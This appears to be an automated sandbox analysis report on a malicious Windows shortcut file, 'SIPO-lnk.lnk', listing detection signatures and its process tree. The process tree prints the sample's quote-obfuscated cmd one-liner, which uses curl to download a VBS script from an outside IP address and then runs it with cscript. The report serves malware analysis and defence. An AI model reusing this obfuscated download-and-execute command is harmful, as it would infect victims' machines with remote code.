Analysis

  • max time kernel
    130s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/09/2023, 12:20

General

  • Target
    SIPO-lnk.lnk
  • Size 2KB
  • Sample230925-phra4aeg5x
  • SHA256 bf3d542f7aba2d4c00f627d9e0f48bf82acf725a2c6a188a5b2eceea2592c6a5
  • MD5 SHA1 SHA512
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\SIPO-lnk.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4048
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c L8T || ECHo L8T & p"i"ng L8T || C"U"rl http":"/"/"88."1"1"9"."175."2"4"5/WN"JD1"/iji -o C:\Users\Admin\AppData\Local\Temp\L8T.vbs & p"i"ng -n 2 L8T || c"S"C"R"Ip"T" C:\Users\Admin\AppData\Local\Temp\L8T.vbs & ExiT 'PpSAihmBTrRI
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\PING.EXE
        p"i"ng L8T
        3⤵
        • Runs ping.exe
        PID:1680
      • C:\Windows\system32\curl.exe
        C"U"rl http":"/"/"88."1"1"9"."175."2"4"5/WN"JD1"/iji -o C:\Users\Admin\AppData\Local\Temp\L8T.vbs
        3⤵
          PID:1620
        • C:\Windows\system32\PING.EXE
          p"i"ng -n 2 L8T
          3⤵
          • Runs ping.exe
          PID:1264
        • C:\Windows\system32\cscript.exe
          c"S"C"R"Ip"T" C:\Users\Admin\AppData\Local\Temp\L8T.vbs
          3⤵
            PID:2904

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads